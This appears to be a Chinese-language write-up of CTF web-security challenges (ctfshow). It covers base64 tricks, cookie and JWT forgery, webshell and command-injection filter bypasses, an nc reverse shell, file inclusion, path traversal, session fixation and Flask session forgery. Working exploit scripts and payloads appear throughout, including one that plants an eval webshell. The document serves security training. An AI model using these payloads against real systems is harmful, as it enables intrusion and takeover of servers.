第一章 Web安全基础#

Base64编码隐藏#

打开题目是一个登录页面，Ctrl+u可以查看题目的加密逻辑

1
    <script>
2
        document.getElementById('loginForm').addEventListener('submit', function(e) {
3
            e.preventDefault();
4

5
            const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==";
6
            const enteredPassword = document.getElementById('password').value;
7
            const messageElement = document.getElementById('message');
8

9
            if (btoa(enteredPassword) === correctPassword) {
10
                messageElement.textContent = "Login successful! Flag: "+enteredPassword;
11
                messageElement.className = "message success";
12
            } else {
13
                messageElement.textContent = "Login failed! Incorrect password.";
14
                messageElement.className = "message error";
15
            }
16
        });
17
    </script>

其中通过btoa方法对提交的密码进行编码，编码后若是与correctPassword相同则登录成功

这里我们对Q1RGe2Vhc3lfYmFzZTY0fQ==进行atob解码

CTF{easy_base64}

HTTP头注入#

同样的加密逻辑但是有后端check.php验证

这里直接注入user-agent

CTF{user_agent_inject_success}

Base64多层嵌套解码#

1
 document.getElementById('loginForm').addEventListener('submit', function(e) {
2
            const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
3

4
            function validatePassword(input) {
5
                let encoded = btoa(input);
6
                encoded = btoa(encoded + 'xH7jK').slice(3);
7
                encoded = btoa(encoded.split('').reverse().join(''));
8
                encoded = btoa('aB3' + encoded + 'qW9').substr(2);
9
                return btoa(encoded) === correctPassword;
10
            }
11

12
            const enteredPassword = document.getElementById('password').value;
13
            const messageElement = document.getElementById('message');
14

15
            if (!validatePassword(enteredPassword)) {
16
                e.preventDefault();
17
                messageElement.textContent = "Login failed! Incorrect password.";
18
                messageElement.className = "message error";
19
            }
20
        });

我们这里通过暴力破解

1
// 在控制台直接运行以下代码
2
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
3

4
function encrypt(password) {
5
    let encoded = btoa(password);
6
    encoded = btoa(encoded + 'xH7jK').slice(3);
7
    encoded = btoa(encoded.split('').reverse().join(''));
8
    encoded = btoa('aB3' + encoded + 'qW9').substr(2);
9
    return btoa(encoded);
10
}
11

12
function bruteForce6Digit() {
13
    console.time('Brute Force Time');
14

15
    // 生成6位数字的优化方法（000000-999999）
16
    for (let num = 0; num <= 999999; num++) {
17
        // 补零到6位
18
        const candidate = num.toString();
19

20
        // 加密并比对
21
        if (encrypt(candidate) === correctPassword) {
22
            console.timeEnd('Brute Force Time');
23
            return candidate;
24
        }
25

26
        // 每10万次输出进度
27
        if (num % 100000 === 0) {
28
            console.log(`Progress: ${num/100000}0%`);
29
        }
30
    }
31

32
    console.timeEnd('Brute Force Time');
33
    return "Not found";
34
}
35

36
// 执行破解
37
console.log("Result:", bruteForce6Digit());

CTF{base64_brute_force_success}

HTTPS中间人攻击#

使用sslkey.log进行http流量解密

CTF{https_secret_data}

Cookie伪造#

弱口令guest/guest登录发现是游客账号

我们将role的值改为admin

CTF{cookie_injection_is_fun}

第二章 Web木马与命令执行攻击#

一句话木马变形#

输入phpinfo();查看php版本为7.3.29

经过测试发现过滤了空格和单双引号

我们利用base64加密进行绕过

eval(base64_decode(c3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs));

CTF{shell_code_base64_bypass}

反弹shell构造#

题目构造命令

1
nc 127.0.0.1 8001 -e /bin/sh

服务器nc -lvnp 8001

CTF{reverse_shell_use_nc}

管道符绕过过滤#

|grep flag|xargs tac

或者使用|| 让第一个命令执行失败

1||tac flag.php

CTF{no_space_to_execute_shell_commands}

无字母数字代码执行#

1
<?php
2

3
$system="system";
4

5
$command="tac flag.php";
6

7
echo '(~'.urlencode(~$system).')(~'.urlencode(~$command).');';
8
?>

得到flag

CTF{no_characters_to_execute_php_code}

无字母数字命令执行#

1
import requests
2
import time
3
url = "http://localhost:5058"
4

5
#payload.txt 内容为需要执行的命令 这里为 tac /var/www/html/flag.php
6
file = {"file": open("payload.txt", "r")}
7

8
data = {"code": ". /???/????????[@-[]"}
9

10
while True:
11
    response = requests.post(url, files=file, data=data ,verify=False)
12
    if response.text.find("CTF{")!= -1:
13
        flag = response.text[response.text.find("CTF{"):-1]
14
        print(flag)
15
        break
16
    else:
17
        print("Waiting for flag...")
18
        time.sleep(1)

CTF{no_characters_to_execute_shell_commands_he3e}

第三章文件包含与路径遍历漏洞#

日志文件包含#

使用php伪协议会被过滤

用log文件包含：/var/log/nginx/access.log

可以正常包含

在ua注入木马(注意得一次写对，不然会报错)

执行命令得到flag

CTF{php_access_l0g_lf1_is_fun}

php://filter读取源码#

使用php://filter/convert.base64-encode/resource=index.php读取源码

1
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])): ?>
2
            <div class="form-group">
3
                <label>Include Result:</label>
4
                <div class="result"><?php
5
                    include "db.php";
6
                    function validate_file_contents($file) {
7

8
                        if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
9
                            return false;
10
                        }
11
                        return true;
12
                    }
13

14
                    try {
15
                        // Validate input characters
16
                        if (preg_match('/log|nginx|access/', $_POST['file'])) {
17
                            throw new Exception('Invalid input. Please enter a valid file path.');
18
                        }
19

20
                        ob_start();
21
                        echo file_get_contents($_POST['file']);
22
                        $output = ob_get_clean();
23
                        if(!validate_file_contents($output)){
24
                            throw new Exception('Invalid input. Please enter a valid file path.');
25
                        }else{
26
                            echo 'File contents:';
27
                            echo '<br>';
28
                            echo $output;
29
                        }
30

31
                    } catch (Exception $e) {
32
                        echo 'Error: ' . htmlspecialchars($e->getMessage());
33
                    }
34
                ?></div>
35
            </div>
36
        <?php endif; ?>

可以看出日志方法被过滤

用同样方法读取db.php

PD9waHAKCiRzZXJ2ZXJuYW1lID0gImxvY2FsaG9zdCI7CiR1c2VybmFtZSA9ICJyb290IjsKJHBhc3N3b3JkID0gIkNURnszZWNyZXRfcGFzc3cwcmRfaGVyZX0iOwokZGJuYW1lID0gImJvb2tfc3RvcmUiOw==

CTF{3ecret_passw0rd_here}

远程文件包含（RFI）#

读取/etc/passwd正常，var/log和伪协议被禁

这里使用远程文件包含

得到flag

路径遍历突破#

1
<?php
2

3
if (isset($_GET['path']) && $_GET['path'] !== '') {
4
$path = $_GET['path'];
5
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
6
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
7
exit;
8
}
9

10
#禁止以/或者../开头的文件名
11
if(preg_match('/^(\.|\/)/', $path)){
12
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
13
exit;
14
}
15

16
echo $path."内容为：\n";
17
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
18
} else {
19
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
20
}
21
?>

代码只限制了开头不能为.或/，所以我们用折叠目录来绕过

1/../../../../../../flag.txt

CTF{file_path_bypass_is_fun}

临时文件包含#

伪协议和日志包含被过滤，打开网站后发现有cookie，说明开启了session

我们用临时文件上传配合session包含来getshell

1
import requests
2
import threading
3
import urllib3
4

5
# 1. 屏蔽 InsecureRequestWarning 警告（如果不屏蔽，控制台会刷屏警告信息）
6
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7

8
session = requests.session()
9
# 2. 全局设置：该 session 发起的所有请求都不验证 SSL
10
session.verify = False
11

12
sess = 'ctfshow'
13
url = "https://6db8736e-df43-471d-a71d-41320d903877.challenge.ctf.show/"
14

15
data1 = {
16
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
17
}
18
file = {
19
    'file': 'ctfshow'
20
}
21
cookies = {
22
    'PHPSESSID': sess
23
}
24

25
def write():
26
    while True:
27
        # 已经在 session 中设置了 verify=False，这里不需要额外写
28
        r = session.post(url, data=data1, files=file, cookies=cookies)
29

30
def read():
31
    while True:
32
        r = session.get(url + "?path=/tmp/sess_ctfshow", cookies=cookies)
33
        if 'success' in r.text:
34
            print("shell 地址为：" + url + "1.php")
35
            # 在多线程中直接 exit() 可能会报些小错，建议使用 os._exit(0)
36
            import os
37
            os._exit(0)
38

39
threads = [threading.Thread(target=write),
40
           threading.Thread(target=read)]
41
for t in threads:
42
    t.start()

CTF{fileupload_temp_file_include_success}

第四章用户认证与会话安全#

Session固定攻击#

这题不用写脚本也行，当练习写脚本了

1
import requests
2
from bs4 import BeautifulSoup
3

4
BASE = 'http://localhost:5055'
5

6
# 1. 攻击者用test/test登录，获得sessionid
7
sess = requests.Session()
8
sess.get(BASE + '/login')
9
resp = sess.post(BASE + '/login', data={'username': 'test', 'password': 'test'})
10
sessionid = sess.cookies.get('session')
11

12
print('[*] Got sessionid:', sessionid)
13

14
# 2. 发送站内信，附带sessionid
15
msg = 'hello admin'
16
sess.post(BASE + '/message', data={'msg': msg, 'sessionid': sessionid})
17
print('[*] Sent message to admin with sessionid')
18

19
# 3. 等待admin_bot处理（可sleep几秒）
20
import time
21
time.sleep(11)
22

23
# 4. 用同样的sessionid访问首页，应该已变为admin权限
24
sess2 = requests.Session()
25
sess2.cookies.set('session', sessionid)
26
resp = sess2.get(BASE + '/')
27
soup = BeautifulSoup(resp.text, 'html.parser')
28
flag = soup.find('h3')
29
if flag:
30
    print('[+] FLAG:', flag.text)
31
else:
32
    print('[-] Exploit failed')
33
    print(resp.text)

CTF{ctfshow_session_fixation_is_a_common_web_security_vulnerability}

JWT令牌伪造#

1
import base64
2
import requests
3
import json
4

5
def b64url_encode(data):
6
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
7

8
url = "https://7dca1591-addf-4984-826e-90ffab4176b4.challenge.ctf.show/"
9

10
# 构造伪造的 JWT
11
header = {"alg": "none", "typ": "JWT"}
12
payload = {"user": "admin", "admin": True}
13

14
header_b64 = b64url_encode(json.dumps(header).encode())
15
payload_b64 = b64url_encode(json.dumps(payload).encode())
16

17
# none算法下，签名部分可以为空
18
jwt_token = f"{header_b64}.{payload_b64}."
19

20
# 携带伪造的 token 访问首页
21
cookies = {"token": jwt_token}
22
resp = requests.get(url, cookies=cookies)
23

24
if "CTF{" in resp.text:
25
    print("Flag found!")
26
    start = resp.text.find("CTF{")
27
    end = resp.text.find("}", start)
28
    print(resp.text[start:end+1])
29
else:
30
    print("Flag not found. Response:")
31
    print(resp.text)

也可以用在线网站做

CTF{jwt_none_alg_bypass_success}

Flask_Session伪造#

读取执行路径url=file:///proc/self/cmdline

得到python/app/app.py，读取源码

1
# encoding:utf-8
2
import re, random, uuid, urllib.request
3
from flask import Flask, session, request
4

5
app = Flask(__name__)
6
random.seed(uuid.getnode())
7
app.config['SECRET_KEY'] = str(random.random()*100)
8
print(app.config['SECRET_KEY'])
9
app.debug = False
10

11
@app.route('/')
12
def index():
13
    session['username'] = 'guest'
14
    return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>'
15

16
@app.route('/read')
17
def read():
18
    try:
19
        url = request.args.get('url')
20
        if re.findall('flag', url, re.IGNORECASE):
21
            return '禁止访问'
22
        res = urllib.request.urlopen(url)
23
        return res.read().decode('utf-8', errors='ignore')
24
    except Exception as ex:
25
        print(str(ex))
26
    return '无读取内容可以展示'
27

28
@app.route('/flag')
29
def flag():
30
    if session.get('username') == 'admin':
31
        return open('/flag.txt', encoding='utf-8').read()
32
    else:
33
        return '访问受限'
34

35
if __name__=='__main__':
36
    app.run(
37
        debug=False,
38
        host="0.0.0.0"
39
    )

使用下面脚本获取随机数

1
import requests
2
import random
3
import urllib3
4

5
# 禁用安全警告（如果不禁用，verify=False 会报一堆红色警告，但不影响运行）
6
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7

8
url = "https://4ad16589-49c7-4621-a1c2-c94455211830.challenge.ctf.show/"
9

10
def get_randStr():
11
    # 添加 verify=False 绕过 SSL 验证
12
    response = requests.get(url + "read?url=file:///sys/class/net/eth0/address", verify=False)
13
    mac = response.text.strip()
14
    print(f"获取到的 MAC: {mac}") # 打印一下确保读到了
15

16
    temp = mac.split(':')
17
    temp = [int(i,16) for i in temp]
18
    temp = [bin(i).replace('0b','').zfill(8) for i in temp]
19
    temp = ''.join(temp)
20
    mac_int = int(temp,2)
21

22
    random.seed(mac_int)
23
    randStr = str(random.random()*100)
24
    return randStr
25

26
if __name__ == '__main__':
27
    randStr = get_randStr()
28
    print("Calculated SECRET_KEY:", randStr)

得到：获取到的 MAC: 02:42:ac:0c:d7 Calculated SECRET_KEY: 76.13415785899355

使用https://github.com/noraj/flask-session-cookie-manager进行伪造

python flask_session_cookie_manager3.py encode -t ”{‘username’:‘admin’}” -s “76.13415785899355”

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.aUQHxw.cqE7qyE4BeQP2ySeezjgbPoLpQk

修改本地的cookie值然后访问/flag路由

得到flag

弱口令爆破#

用给的字典直接爆破密码

得到flag

CTF{this_is_a_sample_flag}

第一章 Web安全基础#

Base64编码隐藏#

HTTP头注入#

Base64多层嵌套解码#

HTTPS中间人攻击#

Cookie伪造#

第二章 Web木马与命令执行攻击#

一句话木马变形#

反弹shell构造#

管道符绕过过滤#

无字母数字代码执行#

无字母数字命令执行#

第三章 文件包含与路径遍历漏洞#

日志文件包含#

php://filter读取源码#

远程文件包含（RFI）#

路径遍历突破#

临时文件包含#

第四章 用户认证与会话安全#

Session固定攻击#

JWT令牌伪造#

Flask_Session伪造#

弱口令爆破#

第三章文件包含与路径遍历漏洞#

第四章用户认证与会话安全#